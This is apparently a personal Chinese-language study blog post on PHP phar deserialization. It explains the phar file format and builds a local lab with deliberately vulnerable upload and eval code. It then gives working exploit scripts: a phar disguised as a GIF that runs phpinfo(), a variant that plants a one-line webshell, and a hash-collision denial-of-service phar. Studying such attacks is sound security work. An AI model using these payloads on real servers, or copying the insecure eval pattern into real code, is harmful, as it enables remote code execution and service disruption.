phar反序列化漏洞学习

被大师傅问到了说不出,菜菜呜呜

一、漏洞原理

1.1 phar文件格式

php 反序列化漏洞通常是将序列化后的字符串传入 unserialize() 函数造成的,而这里的 phar 反序列化漏洞利用的是 phar 会以序列化的形式存储用户自定义的 meta-data 特性。维基百科解释的 phar 文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。

phar 文件由四部分构成:

1. stub

可以理解为 phar 文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx 可以为自定义内容。

2. manifest

phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data,这是漏洞利用最核心的地方。

3. content

被压缩文件的内容

4. signature (可空)

签名,放在末尾。

 

1.2 phar文件生成

php 内置了一个 Phar 类来处理相关操作,可以将 php.ini 中的 phar.readonly 选项设置为 Off 自己生成一个 phar 文件

执行这个 phar.php 文件生成一个 phar.phar 文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

 

phar.phar 中 meta-data 的内容以序列化的形式存储

 

有序列化的数据那也必然有反序列化操作,php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,seaii@知道创宇404实验室测试出如下受影响的函数,zxc 师傅又给出了很多其他利用方式 https://blog.zsxsoft.com/post/38

 

二、漏洞利用实例

2.1 漏洞利用条件

1.phar 文件要能够上传到服务器端

2.要有可用的魔术方法作为跳板

3.文件操作函数的参数可控,且 “:”、“/”、“phar” 等特殊字符没有被过滤

 

2.2 文件上传绕过格式限制

php 识别 phar 文件是通过其文件头的 stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么就可以通过添加任意的文件头和修改后缀名的方式将 phar 文件伪装成其他格式的文件

实例 demo 参考写在最下面了

  • 上传文件表单:upload.html
  • 后端校验页面:upload.php(校验文件内容和文件后缀是否为 gif)
  • 漏洞页面:index.php(存在 file_exists() 和 __destruct() 函数)
  • 新建目录:upload_file(存储上传成功的文件)

upload.html

<!DOCTYPE html>
<html>
<head>
    <title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="upload" />
</form>
</body>
</html>

 

upload.php

<?php
if(($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif'){
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if(file_exists("upload_file/" . $_FILES["file"]["name"])){
        echo $_FILES["file"]["name"] . " already exists. ";
    }
else{ move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } }
else{ echo "Invalid file, you can only upload gif"; }

 

index.php

<?php
class TestObject{
    var $data = 'echo "Hello World";';
    function __destruct()
    {
        eval($this -> data);
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}

 

实验过程:

1.文件内容为 gif 的校验可以通过在文件头部添加 GIF89a 绕过,文件后缀为 gif 的校验可以先生成一个 phar 文件,再修改后缀

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

 

2.成功上传到 upload_file 目录下

 

3.访问 http://127.0.0.1/index.php?file=phar://upload_file/phar.gif,成功执行 phpinfo();

 

2.3 getshell

生成 phar_shell.phar 文件

<?php
    class TestObject {
    }
    $phar = new Phar("phar_shell.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='eval(@$_POST[\'apple\']);'; //控制TestObject中的data为一句话木马
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

 

上传步骤和 2.2 一样,shell 连接地址 http://127.0.0.1/index.php?file=phar://upload_file/phar_shell.gif

 

2.4 配合PHP内核哈希表碰撞攻击

漏洞原理:在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的 key 使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击

实验过程:

1.生成恶意 phar 文件

<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/phar_ddos.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('<?php __HALT_COMPILER();?>');
?>

 

2.测试漏洞效果

<?php
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://phar_ddos.phar");
$endTime = microtime(true);
echo 'Time comsumption: '.($endTime - $startTime). ' s';
?>

 

3.访问 http://127.0.0.1/ddos.php 耗时 4.6 秒

 

三、总结

在写这篇文件包含与伪协议 https://www.cnblogs.com/wkzb/p/15628219.html 小笔记的时候提到了一下 phar 的反序列化,但是没好好学习,终于补上啦,最近特别爱玩,上班的时候听见师傅们讨论学习进度插不进话,呜呜呜呜呜哇我学还不行嘛!

 

参考文章:

https://paper.seebug.org/680/

https://www.freebuf.com/articles/web/205943.html

https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

 

posted @ 2022-01-26 09:58  beiwo  阅读(329)  评论(0编辑  收藏  举报